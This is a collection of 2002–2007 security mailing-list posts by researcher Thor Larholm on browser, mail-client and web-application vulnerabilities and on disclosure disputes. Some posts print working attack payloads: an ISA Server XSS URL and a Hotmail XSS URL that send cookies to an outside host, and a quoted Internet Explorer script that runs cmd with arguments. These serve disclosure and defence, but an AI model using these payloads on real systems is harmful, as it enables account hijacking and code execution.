Re: Mozilla protocol abuse
Since I published this report it has come to my attention that Thunderbird 1.5, unlike Thunderbird 2.0, has not been patched with the osint security flag. As such all Thunderbird 1.5 users are vulnerable against this attack and those exploits. Now would be a good time to upgrade to Thunderbird 2.0. http://larholm.com/2007/07/26/thunderbird-15-has-not-been-patched-with-osint/ Regards Thor Larholm Thor Larholm wrote: The Mozilla application platform currently has an unpatched input validation flaw which allows you to specify arbitrary command line arguments to any registered URL protocol handler process. Jesper Johansson already detailed parts of this on his blog on July 20, http://msinfluentials.com/blogs/jesper/. I wrote a vulnerability report on July 18 together with a proof-of-concept exploit that targeted Thunderbird 2.0.0.4. Thunderbird 2.0.0.5 was released on July 19 and incidentally fixed this specific attack vector through its osint command line flag. It is now 6 days later and people should have had time to update their Thunderbird installations, so I have decided to publish my vulnerability report together with the exploits as they detail how to handle XPI exploitation. The HTML version can be found at http://larholm.com/2007/07/25/mozilla-protocol-abuse/ A ZIP file with the report and the XPI exploits can be found at http://larholm.com/media/2007/7/mozillaprotocolabuse.zip Cheers Thor Larholm
Mozilla protocol abuse
The Mozilla application platform currently has an unpatched input validation flaw which allows you to specify arbitrary command line arguments to any registered URL protocol handler process. Jesper Johansson already detailed parts of this on his blog on July 20, http://msinfluentials.com/blogs/jesper/. I wrote a vulnerability report on July 18 together with a proof-of-concept exploit that targeted Thunderbird 2.0.0.4. Thunderbird 2.0.0.5 was released on July 19 and incidentally fixed this specific attack vector through its osint command line flag. It is now 6 days later and people should have had time to update their Thunderbird installations, so I have decided to publish my vulnerability report together with the exploits as they detail how to handle XPI exploitation. The HTML version can be found at http://larholm.com/2007/07/25/mozilla-protocol-abuse/ A ZIP file with the report and the XPI exploits can be found at http://larholm.com/media/2007/7/mozillaprotocolabuse.zip Cheers Thor Larholm
Internet Explorer 0day exploit
There is a URL protocol handler command injection vulnerability in Internet Explorer for Windows that allows you to execute shell commands with arbitrary arguments. This vulnerability can be triggered without user interaction simply by visiting a webpage. When Internet Explorer encounters a reference to content inside a registered URL protocol handler scheme it calls ShellExecute with the EXE image path and passes the entire request URI without any input validation. For the sake of demonstration I have constructed an exploit that bounces through Firefox via the FirefoxURL protocol handler. The full advisory and a working Proof of Concept exploit can be found at http://larholm.com/2007/07/10/internet-explorer-0day-exploit/ Cheers Thor Larholm
Safari for Windows, 0day URL protocol handler command injection
Apple released version 3 of their popular Safari web browser today, with the added twist of offering both an OS X and a Windows version. Given that Apple has had a lousy track record with security on OS X, in addition to a hostile attitude towards security researchers, a lot of people are expecting to see quite a number of vulnerabilities targeted towards this new Windows browser. There is a URL protocol handler command injection vulnerability in Safari for Windows that allows you to execute shell commands with arbitrary arguments. This vulnerability can be triggered without user interaction simply by visiting a webpage. The full advisory and a working Proof of Concept exploit can be found at http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/ Cheers Thor Larholm -- I call dibs on the first SafariWin bug
PHPMailer command execution
PHPMailer is a widely deployed utility class used in PHP application to handle emails sent through sendmail, PHP mailto() or SMTP. It is used in PHP applications such as WordPress, Mantis, WebCalendar, Group-Office and Joomla. The last official release happened on July 11, 2005. If you have configured PHPMailer to use sendmail it has a remote command execution vulnerability due to a lack of input validation. sendmail is queried through the popen function which is called with a string constructed from non-escaped user input. http://larholm.com/2007/06/11/phpmailer-0day-remote-execution/ Cheers Thor Larholm
Unpatched input validation flaw in Firefox 2.0.0.4
Firefox 2.0.0.4 contains a fix for a directory traversal vulnerability that allowed you to read local files through the resource protocol. However, the patch only partially fixed the vulnerability on Windows systems and accidentally circumvents an existing input validation check. The net result is that you can still read some local files on Windows and all user accessible files on Linux/Unix/OS X, with all user accessible files potentially readable as well on Windows through the patch regression. http://larholm.com/2007/06/04/unpatched-input-validation-flaw-in-firefox-2004/ Cheers Thor Larholm
Re: Firefox extensions go Evil - Critical Vulnerabilities in Firefox/Firebug
I have identified a second critical 0day vulnerability in Firebug which also affects the updated Firebug v1.0.3. The scope is the same, read/write/execute files. http://larholm.com/2007/04/06/more-0day-in-firebug/ There's a detailed walkthrough at the above, including a simplistic POC that verifies whether script was injected into the browser Chrome. From there any practical exploit would be similar to all of the older Firefox browser Chrome exploits. Joe Hewitt has already responded to the above and my previous post (http://larholm.com/2007/04/06/0day-vulnerability-in-firebug/), stating that an updated version of Firebug (1.0.4) should be released now. Updates are available and should trickle out to Firebug users through Mozilla's automated update system within the next few days. If you can't wait for that then go to Tools, Add-ons and click Find Updates. The updated version of Firebug should also prevent any closely related vulnerabilities as Joe has updated his domplate constructors to forcefully escape all strings before they are inserted into the console HTML. Cheers Thor Larholm On 4/4/07, pdp (architect) [EMAIL PROTECTED] wrote: http://www.gnucitizen.org/blog/firebug-goes-evil There is critical vulnerability in Firefox/Firebug which allows attackers to inject code inside the browser chrome. This can lead to a lot of problems. Theoretically everything is possible, from modifying the user file system to launching processes, installing ROOTKITs, you name it. I recommend to disable Firebug for now until the issue is fixed. The issues is a bit critical since Firebug is one of the most popular extensions for Firefox. Given the fact that a lot of the Firefox users are geeks, the chances to have Firebug installed in a random Firefox client are quite high. I wrote two POC to demonstrate the issue. You can find them from the page on the top of this message. The first POC runs calc.exe and cmd.exe on windows systems. The second POC does a count down from 10 to 0 and executes calc.exe to prove that automatic execution is possible. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: Browser bugs hit IE, Firefox today (SANS)
Alex Potter wrote:
http://isc.sans.org/diary.php?storyid=1448 - update says
After doing more research on this vulnerability and with great help from our
readers (thanks to Dan and another reader) it seems that Mozilla Firefox is
not affected by this vulnerability.
Firefox might not be directly affected by this vulnerability, but it
does remind me of inconsistencies in how the security context of an
object is handled inside Firefox.
Ordinarily, when you have a window object containing a document from a
thirdparty domain, such as iframe id=thirdparty
src=http://google.com;/iframe, you are not allowed to reference any
kind of objects inside this window. Using a DOM 0 approach,
window.frames[0].contentDocument will give you a security exception.
However, reading the contentDocument property of the DOM element instead
of the through the frames collection will give you a reference to the
document object inside the thirdparty domain and even allow you to
overwrite native DOM methods without throwing a security exception, such
as
document.getElementById(thirdparty).contentDocument.getElementById=function(s){alert(s)}.
This also holds true for window.frames[0].document.getElementsByTagName
and any other methods on the document object.
Functionally, the document and contentDocument properties both reference
the same object and should obey the same security context rules, however
Firefox differentiates based on how you reference that object and thus
allows you to overwrite native DOM methods on a thirdparty domain,
broadening the potential attack scope by allowing you to interfere with
the operations of existing script code inside that thirdparty document.
--
Thor Larholm
PolyPath, CSO
RE: Notepad popups in Internet Explorer and Outlook
The problem at hand is not one of Notepad or the view-source protocol, but of the behavior inherant to Internet Explorer on how to handle certain mimetypes and protocols. Your advisory (good as it is) highlights an example of the problem, but disregards the larger picture. Whether or not a specific mimetype or protocol will be automatically opened by the MSHTML renderer is controlled by the EditFlag registry key. Changing bit 0 of byte 2 controls whether the Open/Save dialog box appears or if the content is automatically opened. You could e.g. use this to disable the automatic opening of MIDI files, which would be a very quick way for most domain administrators to efficiently disable the MIDI exploit from last week. You can read more about EditFlag at http://www.cpcug.org/user/clemenzi/technical/WinExplorer/WinExplorerEdit Flags.htm or http://perso.wanadoo.fr/tmcd2/Types.htm As such, this problem is not limited to plaintext messages, but extends to other types of data and other protocols. It's funny that you have looked into this now, I am currently writing up some stuff about inline embedding and automatic execution of media data and exe files in emails (MHTML/EML) which covers the broader picture. I guess the cat is out of the bag now, might as well release that soon ;) Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher -Original Message- From: Richard M. Smith [mailto:[EMAIL PROTECTED] Sent: Monday, August 04, 2003 11:58 AM To: [EMAIL PROTECTED] COM Subject: Notepad popups in Internet Explorer and Outlook Hi, Do Notepad popups represent a security risk or are they simply another way for spammers and marketers to annoy us? Because of a design flaw in Internet Explorer, Notepad popup windows can be displayed from an HTML email message or Web page regardless of browser security settings. In addition, Notepad popups can access files on a hard disk, possibilly causing stability problems in a Windows saystem. For more details, see: http://www.computerbytesman.com/security/notepadpopups.htm Question: What kind of operating system allows an email message to automatically start up a text editor to change a system file? Richard M. Smith http://www.ComputerBytesMan.com
RE: RPC DCOM still vulnerable even after applying patches
Positively confirmed on patched Windows 2000 SP4 - did not reproduce on patched XP Home. Drag/Drop and other COM functions stop working, after a very visible svchost.exe crash. The hdmore loopback exploit is more friendly - it gave a nice DoS on all RPC/COM services (no drag/drop) without crashing svchost. Of course, this is only with the new return addresses that are not tied to any specific servicepack.. Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher -Original Message- From: khan rohail [mailto:[EMAIL PROTECTED] Sent: Monday, July 28, 2003 8:34 AM Subject: RPC DCOM still vulnerable even after applying patches This is in reference to exploit code available here: http://www.securiteam.com/exploits/5CP0N0KAKK.html ... We (Douglas Mclean/and I) have checked it against windows 200 SP4 machines that even if you apply the patch kb823980, you can get DOS attacks as tcp port 135 service (loc-srv)gets crashed and we get this error on the box against which the exploit is being run: SVCHOST.exe has generated errors and will be closed by Windows. You will need to restart the program. An error log is being created. You are not able to access Event log either and other funny things are detected too. So, even if you apply the patch MS03-026 you still are vulnerable and you can still get DOS attacks. Regards Shoaib Qazi/Douglas McClean UAB
RE: Drivial Pursuit: Internet Explorer Browser Your Files and Folders !
I can positively confirm this vulnerability on both WMP 7 and 8 on Windows 98, ME, 2000, XP and 2003. The default Enhanced Security Configuration of IE on Windows 2003 does nothing to prevent automatically opening certain media types. The ASF file can be automatically opened through an IFRAME, both on a webpage and in an email - even with scripting disabled in the Restricted Zone, which has so far been a major mitigating factor. This means that an emailborne exploit would execute immediately when a user opened or previewed an HTML-based email. Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher -Original Message- From: [EMAIL PROTECTED] [EMAIL PROTECTED] Subject: Drivial Pursuit: Internet Explorer Browser Your Files and Folders ! Wednesday, 23 July, 2003 Yet another quaint lead-up to silent delivery and installation of an executable on a target computer. No client input other than viewing a web page ! This is getting boring. A myriad of technical hurdles have been recently placed to disallow access to files and folders on the local machine from the internet. Previously simple redirects could defeat that, but that too has been eliminated. Coupled with a myriad of existing possibilities of placing arbitrary files in known locations on the local machine, along with perhaps several other well known applications that create sensitive files in known locations on the local machine, accessing all of these with our trusty browser commonly known as IE, leaves us with ample opportunity to wreak further havoc on the unsuspecting customers of the manufacturer, one Microsoft. For an ever increasing list of component possibilities seek here: http://www.pivx.com/larholm/unpatched/ Once again the problem lies within our trusty and battle-hardened Windows Media Player. Two second creation of Zero second URL flip to local machine, allows us the desired access. Whether this is the result of a 'trusted' media file or not is unclear. Not important. Custom crafted media files seem to fail. Working Example: Fails on WMP 9 but fully functional on all others regardless of operating system: ATTENTION: demo is merely first step. Plug 'n Play any of the available components in the listing above for maximum results: http://www.malware.com/once.again!.html Notes: 1. We appear to be going around and around in circles now 2. We see no possibility of ever expending one red cent to this particular toy manufacturer. As such we are stuck with what we have. We would be interested to thoroughly examining the latest and greatest toys created by these people and should someone feel like lending us a couple shiny new machines with default installs of the latest and greatest toys, we'll be happy come to some sort of mutualy beneficial arrangement. 3. None. -- http://www.malware.com
Microsoft ISA Server HTTP error handler XSS (TL#007)
Thor Larholm security advisory TL#006 - 16 July 2003 HTML format: http://pivx.com/larholm/adv/TL006 Topic: ISA Server HTTP error handler XSS. Discovery date: 25 June 2002. Severity: Medium Affected applications: -- Any Microsoft Internet Security and Acceleration (ISA) Server installation that hosts the default HTTP error pages. This includes: ISA Server 2000 Impact: --- Stealing cookies from any ISA-protected site, cross-site scripting to any ISA-protected site, hijacking Hotmail and Passport accounts, elevating priveleges through ActiveX components, hijacking the MSN Messenger client, etc. Introduction: - CrossSiteScripting is a term that describes the injection of script code on foreign sites. A very likely scenario is where a malicious programmer would inject code on e.g. hotmail.com to steal a victims cookies, allowing him/her to hijack the victims email account. The default installation of ISA Server is suspectible to such a XSS error. Discussion: --- Every time ISA Server encounters a HTTP errorcode such as 404 Not Found or 500 Internal Server Error, ISA Server returns a HTTP error handler document which is an HTML file. These HTML files use scripting to output a link to the SERVER.TLD part of the URL, and by crafting a specially formed URL it is possible to include arbitrary script commands on the HTTP error handler document, thereby enabling CrossSiteScripting on any ISA-protected site. Unlike TL001 we will prefer to trigger a 500 Internal Server error instead of a 404 Not Found error, as the HTTP 500 error handler document can easily be lured out of ISA Server by appending %U0 to the querystring, resulting in an unparsable request. Many other requests can result in ISA Server handing out an HTTP error handler document. If we look at 404.htm or 500.htm we will notice a particular line of code: document.write( 'A HREF=' + escape(urlresult) + '' + displayresult + /a); displayResult is derived from the first instance of :// in the URL until the next instance of /. This means that we will have to include our script code before the path part of the URL. To accomplish this we include our script code in the Basic Authentication part of the URL, but we first have to escape any special characters in the code. Any / character will end displayresult prematurely and any spaces will corrupt the DNS lookup, and we therefor replace any space with a TAB (%09) and any / with %5Cx2f (\x2f, as we will dynamically reference an external file). Exploit: http://img%09src=%09onerror=document.scripts[0].src=%27http%5Cx3a%5Cx2f% 5Cx2f jscript.dk%5Cx2ftest.js%27;[EMAIL PROTECTED]/%U0 The above will include and execute http://jscript.dk/test.js on YOUR.TLD, provided that YOUR.TLD is protected by an ISA Server installation. Solution: - Apply the MS03-028 patch. You could also use the opportunity to make yourself some nice custom error handler documents. History: 25 June 2003: Discovery 27 June 2003: Notification to MS with complete advisory 28 June 2003: Reply from MS: This has actually been reported to us by another finder a few weeks ago. We're nearing a release of a bulletin crediting the finder and a patch. 16 July 2003: MS03-028 patch released by MS, no credit for discovery 16 July 2003: Public advisory Demonstration: -- I have put together some proof-of-concept examples: Simple static examples - your cookies from a selection of domains: http://pivx.com/larholm/adv/TL006/simple.html Short advanced example - get the cookies from any ISA-protected site: http://pivx.com/larholm/adv/TL006/advanced.html References: --- MS03-028 patch http://www.microsoft.com/technet/security/bulletin/MS03-028.asp TL001 IIS allows universal CrossSite Scripting: - http://www.pivx.com/larholm/adv/TL001/ CERT Cross Site Scripting advisory: - http://www.cert.org/advisories/CA-2000-02.html Unpatched IE vulnerabilities: - http://pivx.com/larholm/unpatched/ Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher
Re: .MHT Buffer Overflow in Internet Explorer
From: jelmer [EMAIL PROTECTED] I believe from ie6 SP1 on IE doesn't open any mht files directly from the web anymore. from the local filesystem it still works though. That's the funny thing, IE6 SP1 still allows opening MHT files directly from the web in the Internet Zone, so this is remotely exploitable on websites. Since MHT files are opened automatically, just like certain other media files, you can also open an MHT file automatically through an email message in the Restricted Zone. Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher
Re: O UT LO OK E XPRE SS 6 .00 : broken
Outlook Express is not the only vulnerable product. The culprit here is the codebase localPath vulnerability which was patched in Internet Explorer by MS02-015 in March 2002. GreyMagic had more fun with this at http://security.greymagic.com/adv/gm001-ie/ which is also the origin of the example displayed. MS02-015 crippled codeBase quite severely in Internet Explorer, completely removing most of its functionality in the Internet Zone. It is still possible to use this vulnerability in Internet Explorer in any local security zone, but getting to that zone in the first place is in itself an obstacle. Whatever Microsoft patched in MS02-015 (crippling codeBase in the Internet Zone to avoid the command execution vulnerability) was only applied to the IE-specific parts of MSHTML and not to any shared parts that thirdparty programs such as Outlook and Outlook Express utilize. This despite our impression that MS02-015 removed the problem. This is apparent if you examine Outlook 2000 which can also execute arbitrary commands automatically upon reading mails if you have set the security zone to the Internet Zone - just like Outlook Express as displayed by http-equiv The default security zone for Outlook 2000 is the Internet Zone. It is first after you apply Office 2000 Service Pack 3 that the default zone is changed to the Restricted zone, so remember either to apply O2KSP3 or manually change your zone settings to Restricted at your earliest convenience. Does Eudora still use the Internet Zone for viewing HTML mail? If so, it is also still vulnerable to the codeBase command execution vulnerability, like any other application that is embedding MSHTML. Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher Latest PivX research: Multi-Vendor Unreal Engine Advisory http://www.pivx.com/press_releases/ueng-adv_pr.html - Original Message - From: [EMAIL PROTECTED] [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Saturday, February 22, 2003 4:36 PM Subject: O UT LO OK E XPRE SS 6 .00 : broken Saturday, February 22, 2003 Technical silent delivery and installation of an executable no client input other than reading an email or viewing a newsgroup message. Outlook Express 6.00 SP1 Cumulative Pack 1 2 3 4 whatever. Rest of original http-equiv post at http://www.ntbugtraq.com/default.asp?pid=36sid=1A2=ind0302L=ntbugtraqF=P S=P=5888 The rest was snipped to avoid barking from premenstrual antivirus scanners.
Epic Games threatens to sue security researchers
On February 5th, Luigi Auriemma of PivX Solutions released a tightly packed advisory detailing multiple vulnerabilities in the Unreal network gaming engine developed by Epic Games. These vulnerabilities affect both clients and servers who are playing the plethora of games that are using the engine, and has been readily exploitable for 5 years. The press release: http://www.pivx.com/press_releases/ueng-adv_pr.html The advisory itself: http://www.pivx.com/luigi/adv/ueng-adv.txt Following both industry and personal standards, PivX gave Epic Games a duration of 30 days to (at the very least) respond to our private notification to them. After nothing had happened during that month we prepared to release the advisory, yet once the press asked Epic Games for comments they were suddenly very responsive. Promises to work closely with us on the vulnerability and advisory were made and we managed to hold down the press for several months after this. 60 days passed after this, without any collaberation, honest effort or actual contact from Epic Games. We released the advisory after 90 days had passed from the original vendor notification. 90 days, in which we were played like fools, in which Epic Games had ample time and sufficient opportunity to react and work with us on a coordinated release. 90 days in which Epic Games, from the best of our comprehension, had archived our communications in the thrash, during which we received no serious communication except for crisis handling at the originally planned release time. On February 6th, BluesNews (among many others) could cite a quote from Mark Rein, Epic Games Vice President: I won't sugar coat this. We f***ed up on this. Yes this is real and yes this was brought to our attention and yes we should have fixed it by now. http://www.bluesnews.com/cgi-bin/board.pl?action=viewthreadthreadid=39954 On February 11th the tides have changed, and TechTV are reporting public legal threats from that same person: This is slanderous, he says. They've taken this too far. We're getting our lawyers involved with this. http://www.techtv.com/news/security/story/0,24195,3417248,00.html I fail to see how Mark Rein on one hand can publicly announce this to be a real threat that they should have fixed earlier, and on the other hand can announce the advisory to be false and malicious statements. There is no slander or libel in any aspect of this, and the only imaginable outcome that Mark Rein must have been aiming for by his declaration of layer involvement is to silence future security research on Epic Games products through the promise of unfounded barratry. As we know from precedents in the past, this approach to security is counterproductive at best and encouraging for underground security research at worst, and I can only hope for an official retraction of this policy by Epic Games once other employees have had half a minute to think about the implications and example that Mark Rein is setting forth. In the past, I have received better nonresponsive treatment by Microsoft when their security handling was at its worst. Contrary to the vast improvements that Microsoft has gone through over the last year and a half, Epic Games did not even start to acknowledge the problem properly before a full public disclosure had been made on February 5th. I believe that Luigi, and all of PivX, has handled this issue in a courteous, proffessional and ethical manner, and the uncoordinated release that was its outcome stems from a direct result of a nonresponsive vendor that at best is plainly ignorant and at worst acts directly against the best interest and security of its own customers. Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher Latest PivX research: Multi-Vendor Unreal Engine Advisory http://www.pivx.com/press_releases/ueng-adv_pr.html
Notes on MS02-068, extensive downplaying of severity
Following the release of the cumulative MS02-066 patch from the previous week, Microsoft has released yet another cumulative patch for Internet Explorer - MS02-068, which can be found at http://www.microsoft.com/technet/security/bulletin/MS02-068.asp The sole vulnerability that MS02-068 patches is the external object caching vulnerability discovered by GreyMagic Software. The rater surprising aspects of this bulletin is the extensive downplaying of severity and the incorrect mitigating factors. Microsoft has given this vulnerability a maximum severity rating of Moderate. Great, so arbitrary command execution, local file reading and complete system compromise is now only moderately severe, according to Microsoft. Moving on to the technical description, we see yet more inaccuracies. The entire first paragraph is a falsum: Exploiting the vulnerability could enable an attacker to read, but not change, any file on the user's local computer. In addition, the attacker could invoke an executable that was already present on the local system. The attacker would need to know the exact location of the executable, and would not be able to pass parameters to it. Microsoft is not aware of any executable that ships by default as part of Windows and, when run without parameters, could be dangerous. Allow me to rephrase: Exploiting the vulnerability could enable an attacker to perform any action on the local computer that the user being exploited can perform. This includes, but is not limited to, reading and changing any file on the user's local computer, forcefully placing arbitrary files on the system in any location and invoking any executable on the system both with and without parameters. Further down we find yet more inaccuracies: Without the ability to pass parameters, it's unlikely that an attacker could do much. For instance, although the attacker could run the command prompt, he couldn't pass a command (e.g., format c:) to it. This vulnerability provides no way for an attacker to transfer a program of their choice to the user's system. Since we can already create and execute arbitrary command scripts on the machine, I fail to see how the above can be remotely accurate. Accomplishing this is as simple as creating and executing an automated FTP script, or merely recreating an EXE file from an embedded string in the HTML. Microsoft are very much aware of this, and even modified the MS02-066 bulletin (following the post from GreyMagic on Bugtraq) to provide assistance in mitigating how the HTML Help control can execute commands in the local zone. It seems like Microsoft are deliberately downplaying the severity of their vulnerabilities in an attempt to gain less bad press. It sure would look bad to release 2 critical cumulative updates in just 2 weeks, but that is exactly what has been done. As it stands now, the bulletin is released and most journalists willing to comment have already noticed the Moderate label and the extensive list of (incorrect) mitigating factors, and quite likely will not write anything on just how severe this really is. I doubt most people care to read the revisions to the bulletin that will come later. There are currently 18 unpatched publicly known vulnerabilities in Internet Explorer, of which I have labelled 6 as severe. http://www.pivx.com/larholm/unpatched/ Regards Thor Larholm, Security Researcher PivX Solutions, LLC Strike Now, StrikeFirst! http://www.pivx.com/sf.html
RE: ZDnet forum: IE formatting local drive
This is just a copy of Andreas Sandblads advisory, with a new command :) Regards Thor Larholm, Security Researcher PivX Solutions, LLC Strike Now, StrikeFirst! http://www.pivx.com/sf.html -Original Message- From: Alan Rouse [mailto:[EMAIL PROTECTED]] Sent: 11. november 2002 17:22 To: [EMAIL PROTECTED] Subject: ZDnet forum: IE formatting local drive Format a local drive by visiting a URL from a fully patched Windows / IE platform. This appeared last night: http://forums.zdnet.com/group/zd.Security.Virus.Alerts/community/communi ty.tpt/@thread@33885@F@1@D-,D@ALL/@article@mark@33885?EXP=ALLVWM=ROS= OC=75
RE: Opera 7 vulnerabilities
Monitoring which pages a user visits is also possible, and in general there seems to be some oversights in this otherwise smooth rewrite. Add to that some of the more odd bugs functionalitywise, and I would say there is room for a beta 2 ;) Regards Thor Larholm, Security Researcher PivX Solutions, LLC Strike Now, StrikeFirst! http://www.pivx.com/sf.html -Original Message- From: GreyMagic Software [mailto:security;greymagic.com] Sent: 14. november 2002 17:43 To: Bugtraq Subject: Opera 7 vulnerabilities We've done some basic security tests, in cooperation with Tom Gilder, on the new Opera 7 beta release and found two major security vulnerabilities. These vulnerabilities are quite obvious and likely to be discovered by malicious users. Combined, they allow full read access to a victim's file system (including both directories and files) and scripting access to any domain. Full details will be released once Opera resolves these issues. In the meanwhile, users are encouraged not to upgrade to Opera 7 or disable scripting.
RE: How to execute programs with parameters in IE - Sandblad advisory #10
Unless I am missing something, this is definitely not a vulnerability in
itself but just a practical demonstration of the assign method caching
vulnerability.
Executing programs with or without parameters also become pointless once you
have complete access to a local security zone (in this case, given by the
assign method caching vuln), as demonstrated by http-equiv quite some
times. Circumventing the zone barriers allow you to (among others) retrieve
the location of that funny malware you just planted in the users temporary
internet files, and subsequently execute it.
The HTMLHelp Control used in this example only has the authority to execute
commands at all because it is being used from a local security zone. As
such, when Microsoft are claiming that the technique used to run programs
with parameters from the Local computer zone was no security
vulnerability, they are in my opinion correct.
Despite this, it is always interesting to have more approaches to program
execution for demonstratory purposes once you get your foot inside the door
of a local security zone, especially since the codebase localpath approach
is practically filtered anywhere in its pure form.
IE6 SP1 did include some early attempts at preventing any interaction
between security zones (specifically from the Internet zone to any local
zone). That attempt was broken with the object redirect approach. It will be
interesting to see what Microsoft comes up with next to prevent interaction
between security zones.
Regards
Thor Larholm, Security Researcher
PivX Solutions, LLC
Are You Secure?
http://www.PivX.com
-Original Message-
From: Andreas Sandblad [mailto:sandblad;acc.umu.se]
Sent: 6. november 2002 20:48
To: [EMAIL PROTECTED]
Subject: How to execute programs with parameters in IE - Sandblad
advisory #10
--- CUT HERE ---
*script
// How to execute programs with parameters in IE, 2002-11-06
// Sandblad advisory #10, Andreas Sandblad, [EMAIL PROTECTED]
prog = 'cmd';
args = '/k echo You are vulnerable (Sandblad #10) '+
'echo Sandblad #10 c:/vulnerable.txt winmine';
if (!location.hash) {
showHelp(location+#1);
showHelp(iexplore.chm);
blur();
}
else if (location.hash == #1)
open(location+2).blur();
else {
f = opener.location.assign;
opener.location=res:;
f(javascript:location.replace('mk:@MSITStore:C:'));
setTimeout('run()',1000);
}
function run() {
f(javascript:document.write('object id=c1 classid=clsid:adb+
880a6-d8ff-11cf-9377-00aa003b7a11param name=Command value+
=ShortCutparam name=Item1 value=\,+prog+,+args+\/+
objectobject id=c2 classid=clsid:adb880a6-d8ff-11cf-9377+
-00aa003b7a11param name=Command value=Close/object'));
f(javascript:c1.Click();c2.Click(););
close();
}
/script
--- CUT HERE ---
RE: Vulnerable cached objects in IE (9 advisories in 1)
From: jelmer [mailto:jkuperus;xs4all.nl] The external method flaw also seems to affects my ie6 sp1 browser I can confirm this as well, together with the clipboardData method flaw. It's a surprise that Microsoft didn't fix this globally in SP1, instead of applying checks to each individual method and object. At first, I assumed they had made a generic fix, but with this in the open it is clear that they only patched specifics and that there will be many more vulnerabilities in the method/object caching category. Regards Thor Larholm
RE: Who Need Friends ? IE MSN expose contact list other info
This is not a vulnerability or even privacy exposure in MSN, but just a demonstration of zone spoofing by using the %2F encoding bug. All the exposed MSN contact list and information is intentionally, and safely, exposed in the My Computer zone. Regards Thor Larholm, Security Researcher PivX Solutions, LLC Are You Secure? http://www.PivX.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: 15. oktober 2002 15:05 To: [EMAIL PROTECTED] Subject: Who Need Friends ? IE MSN expose contact list other info
RE: XSS bug in hotmail login page
From: Russell Harding [mailto:[EMAIL PROTECTED]]
Is there another way to exploit this which I am not
seeing? Or does MSN actually have their act together
(in this particular case...)?
-Russell
P.S. Well, I suppose the real question may be this:
Is there a way to concatenate javascript strings without + or %2B?
Sure there is, the first that springs to mind is to use the replace method
which all strings have:
var myString = hi $.replace('$','monkeyboy');
alert( myString ); // alerts hi monkeyboy
The first argument can be both a string or a regular expression.
http://lc2.law5.hotmail.passport.com/cgi-bin/login?_lang=id=2fs=1cb=;sc
riptlocation.replace('http://jscript.dk/2002/10/sec/querystring.asp?$'.repl
ace('$',document.cookie));/scriptct=1033054530_setlang=,,-1,0
Regards
Thor Larholm
Jubii A/S - Internet Programmer
RE: MSIE:SaveRef turns Zone off
This also works in IE5.5 as well. Besides reading cookies from arbitrary sites, this vulnerability also allows local file reading and execution - when combined with the OBJECT crossprotocol redirection vulnerability. http://jscript.dk/2002/10/sec/SaveRefLocalFile.html Regards Thor Larholm, Security Researcher PivX Solutions, LLC Are You Secure? http://www.PivX.com
Mozilla vulnerabilities, an update
On September 9th I wrote the following to [EMAIL PROTECTED] -- START -- I noticed that you have published a list ( http://mozilla.org/releases/mozilla1.0.1/security-fixes-1.0.1.html ) of security issues that have been fixed in Mozilla 1.0.1 I would recommend posting this list to the Bugtraq mailinglist, [EMAIL PROTECTED], so that the secinfo industry and the public in general becomes aware of these. This would help raise the awareness of your security efforts, as well as urge users of older versions to upgrade and provide hints to other software products that embed Gecko, or other parts of Mozilla, that they should consider getting fresh sources for their projects. In case you feel that this is not a necessary action, I would like to personally make the list aware of these security fixes in a matter of 5 working days. -- END -- At first I received a reply from Asa Dotzler, which among others mentioned that the list was far from comprehensive and It would be much better if someone (mitch) updated the real page at http://www.mozilla.org/projects/security/known-vulnerabilities.html; So I forwarded and wrote to Mitch: May I recommend updating the official list of known vulnerabilities in Mozilla to include the vulnerabilities that have been fixed, such as XMLHTTP and the many on Asas list? And received a short reply last thursday: Yes, that page will be updated soon. Thanks for letting me know. Since nothing has happened, I thought I would pass this on to the list. This is a short list of issues fixed between the 1.0 and 1.0.1 version of Mozilla. As Asa mentioned, this list was just put together from some queries on Bugzilla. Undoubtedly, there will be many more vulnerabilities that have been fixed, and it would be a welcome change to let the public know about these. BUG ID Product Component Summary 88183 Browser Plug-ins navigator.plugins leaks path names 104472 Browser Security execution of scripts in the file: protocol from XUL using cgi 125583 Browser Security Disable automatic XLinks in Mail 135267 Browser Security Reading files cross-host using styles 144228 MailNews Security Malicious email breaks POP server connection 146094 Browser Networking Stealing third-party cookies through a proxy 147754 Browser Security XMLSerializer needs same-origin check 148256 Browser XML flawfinder warnings in XML Extras 148269 NSS Libraries flawfinder warnings in mozilla/security 148520 Browser Password Manager window.prompt is returning a saved password instead of prompting. 149777 Browser Security Node cloned from external, untrusted document and appended to chrome document. 149943 Browser Security Princeton-like exploit may be possible 150339 Browser Internationalization huge font crashes X Windows 151933 Browser XML xml:base should not allow setting chrome URLs 152697 Browser Networking no limit on the size of a HTTP header 152725 Browser Cookies Possible cookie stealing using javascript: URLs 154030 Browser Security HTML directory indexer doesn't html-escape url 154240 PSM Client Libraries No warning when redirecting https-http-https at http protocol level 154930 Browser Security document.domain abused to access hosts behind firewall 155222 Browser Security Heap corruption in PNG library 157202 Browser Security Exploitable (?) heap overrun in PNG 157652 Browser JavaScript Engine Crash, possible heap corruption in JS Array.prototype.sort 157845 Browser DOM Events Crash involving document.open() 157989 Browser ImageLib Possible heap corruption with 0-width GIF 161721 Browser Installer install in onkeypress for space key bypasses warning dialog To put it shortly, I do appreciate the efforts put forth by the Mozilla.org team, I just wish they could be more communicative instead of hiding the fact that Mozilla, like most any other software product, has had and will have a long number of security vulnerabilities. Undoubtedly, this gives a different view on the security of Mozilla than one would get by reading the official list of vulnerabilities (listing just 1 vulnerability). Again, the above was just an incomplete list of security issues that were fixed between the minor version change 1.0 to 1.0.1, I have no idea about the amount of issues that remain or that has been fixed so far. Regards Thor Larholm, Security Researcher PivX Solutions, LLC Are You Secure? http://www.PivX.com
RE: (Fwd) MSIEv6 % encoding causes a problem again
